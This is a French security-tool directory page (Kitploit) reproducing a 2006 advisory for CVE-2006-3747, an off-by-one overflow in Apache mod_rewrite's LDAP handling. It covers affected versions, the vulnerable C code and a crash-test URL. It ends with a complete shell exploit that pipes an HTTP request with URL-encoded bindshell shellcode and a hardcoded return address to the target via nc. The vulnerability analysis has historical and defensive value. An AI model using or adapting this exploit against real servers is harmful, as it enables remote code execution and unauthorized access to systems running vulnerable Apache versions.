Skip to content
KitploitKITPLOIT
OutilsBlog
Soumettre
OutilsBlog
Soumettre

Outils de Hacking, PenTest et Cybersécurité pour votre Arsenal de Sécurité !

Kitploit est un répertoire d'outils de hacking, de cybersécurité et de pentesting. Découvrez les dernières mises à jour des projets pour trouver des vulnérabilités, analyser des systèmes, automatiser les tests et renforcer votre sécurité.

··Flux·Contact·Confidentialité·© 2026 Kitploit

Répertoire d'outils

Catégories

Voir toutes les catégories
Loading categories
CVE-2006-3747 — Informations sur mon advisory concernant CVE-2006-3747 (dépassement de tampon off-by-one LDAP dans Apache mod_rewrite).. À l'époque, c'était le premier exploit public fonctionnel :) | Kitploit
Outils/GitHubGitHub/defensahacker/cve-2006-3747
Analyse des VulnérabilitésExploitationSécurité WebTests d'IntrusionExploitation de Binaires
GitHubdefensahacker/cve-2006-3747

CVE-2006-3747

Informations sur mon advisory concernant CVE-2006-3747 (dépassement de tampon off-by-one LDAP dans Apache mod_rewrite).. À l'époque, c'était le premier exploit public fonctionnel :)

Voir le dépôt
22il y a 5 ansPas encore vérifié

Populaires

Voir tout →

Découvrez les outils les plus utilisés par notre communauté.

Explorer tous les outils

Parcourez notre collection d'outils

Voir tous les outils →
Partager
Site web

Fichiers concernant ma publication sur Bugtraq et le premier exploit fonctionnel pour CVE-2006-3747 (dépassement de tampon off-by-one dans Apache mod_rewrite LDAP).

(http://www.securityfocus.com/archive/1/443870)

  • Date de publication publique du POC/exploit : 2006-08-20
  • Auteur : Jacobo Avariento Gimeno
  • Identifiant CVE : CVE-2006-3747
  • Identifiant Bugtraq : 19204
  • Avis CERT : VU#395412
  • Sévérité : élevée
  • Score de base CVSS v2 : 7.6 HIGH (AV:N/AC:H/Au:N/C:C/I:C/A:C)

Introduction

Le 28 juillet 2006, Mark Dowd (McAfee Avert Labs) a signalé une vulnérabilité trouvée dans le module apache mod_rewrite à la liste de diffusion bugtraq. La fonction vulnérable est escape_absolute_uri() et le problème ne pouvait se produire que lorsque mod_rewrite traite une URL LDAP ; une URL LDAP mal formée pouvait déclencher un dépassement off-by-one dans certaines situations (particulières) et un attaquant potentiel pouvait provoquer un déni de service ou exécuter du code arbitraire avec les privilèges de l'utilisateur apache. Pour exploiter cette vulnérabilité, aucune règle spécifique à LDAP n'est nécessaire, mais il doit y avoir une règle dont l'utilisateur peut contrôler la partie initiale de l'URL réécrite, par exemple :

root@kitploit:~
RewriteRule foo/(.*) $1

Toute version du serveur HTTP Apache :

  • branche 1.3 : >1.3.28 et <1.3.37
  • branche 2.0 : >2.0.46 et <2.0.59
  • branche 2.2 : >2.2.0 et <2.2.3 est vulnérable.

Analyse du code vulnérable

root@kitploit:~
2696 /* escape absolute uri, which may or may not be path oriented.
2697 * So let's handle them differently.
2698 */
2699 static char *escape_absolute_uri(ap_pool *p, char *uri,
unsigned scheme)
2700 {
2701 char *cp;
2702 ...
...
2727 /* special thing for ldap.
2728 * The parts are separated by question marks. From RFC 2255:
2729 * ldapurl = scheme "://" [hostport] ["/"
2730 * [dn ["?" [attributes] ["?" [scope]
2731 * ["?" [filter] ["?" extensions]]]]]]
2732 */
2733 if (!strncasecmp(uri, "ldap", 4)) {
2734 char *token[5];
2735 int c = 0;
2736
2737 token[0] = cp = ap_pstrdup(p, cp);
2738 while (*cp && c < 5) {
2739 if (*cp == '?') {
2740 token[++c] = cp + 1;
2741 *cp = '\0';
2742 }
2743 ++cp;
2744 }

Dans le cas où une URI LDAP contient un cinquième '?', la ligne 2740 provoque un dépassement off-by-one : elle écrit dans token[5]. Pour exploiter ce problème, une version vulnérable d'Apache et une disposition spécifique de la trame de pile sont nécessaires.

Preuve de concept

Pour savoir si votre version vulnérable d'Apache pourrait être exploitée avec succès, écrivez cette règle dans votre httpd.conf ou .htaccess :

root@kitploit:~
RewriteRule kung/(.*) $1

And try to access to the following URL:
/kung/ldap://localhost/AAAAAAAAAAAAAAAAAAAAA%3FAAAAAAAAAAAAA%
3FAAAAAAAAAAAAAAA%3FAAAAAAAAAA%3FAAAAAAAAAA%3FBBBBBBBBBBBBBB

Si votre serveur web ne vous répond pas par une page « 302 Found » ou si une erreur de segmentation apparaît dans votre error_log, un processus enfant d'Apache a planté et votre serveur web est vulnérable et exploitable.

Exploit

Cet exploit a été exécuté avec succès sur Apache 1.3.34, paquet debian sarge :

root@kitploit:~
#!/bin/sh
# Exploit for Apache mod_rewrite off-by-one.
# Vulnerability discovered by Mark Dowd.
# CVE-2006-3747
#
# by jack <jack\x40gulcas\x2Eorg>
# 2006-08-20
#
# Thx to xuso for help me with the shellcode.
#
# I suppose that you've the "RewriteRule kung/(.*) $1" rule if not
# you must recalculate adressess.
#
# Shellcode is based on Taeho Oh bindshell on port 30464 and modified
# for avoiding apache url-escape.. Take a look is quite nice ;)
#
# Shellcode address in heap memory on apache 1.3.34 (debian sarge) is at
# 0x0834ae77 for any other version/system find it.
#
# Gulcas rulez :P

echo -e "mod_rewrite apache off-by-one overflow\nby jack <jack\x40gulcas
\x2eorg>\n\n"

if [ $# -ne 1 ] ; then
echo "Usage: $0 webserver"
exit
fi

host=$1

echo -ne "GET /kung/ldap://localhost/`perl -e 'print "%90"x128'`%89%e6%
31%c0%31 %db%89%f1%b0%02%89%06%b0%01%89%46%04%b0%06%89%46%08%b0%66%b3%
01%cd%80%89%06%b0%02%66%89%46%0c%b0%77%66%89%46%0e%8d%46%0c%89%46%04%
31%c0%89%46%10%b0%10%89%46%08% b0%66%b3%02%cd%80%b0%01%89%46%04%b0%66%
b3%04%cd%80%31%c0%89%46%04%89%46%08%b0%66%b3%05%cd%80%88%c3%b0%3f%31%
c9%cd%80%b0%3f%b1%01%cd%80%b0%3f%b1%02%cd%80%b8%23%62%69%6e%89%06%b8%
23%73%68%23%89%46%04%31%c0%88%46%07%b0%30%2c%01%88%46%04%88%06%89%76%
08%31%c0%89%46%0c%b0%0b%89%f3%8d%4e%08%8d%56%0c%cd%80%31%c0%b0%01%31%db%

cd %80%3FC%3FC%3FCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCC%
77%ae%34%08CCCCCCCCCCCCCCCCCCCCCCCCCCC%3FC%3F HTTP/1.1\r\nHost:
$host\r\n\r\n" | nc $host 80

~~ Jacobo Avariento Gimeno

Télécharger l’outil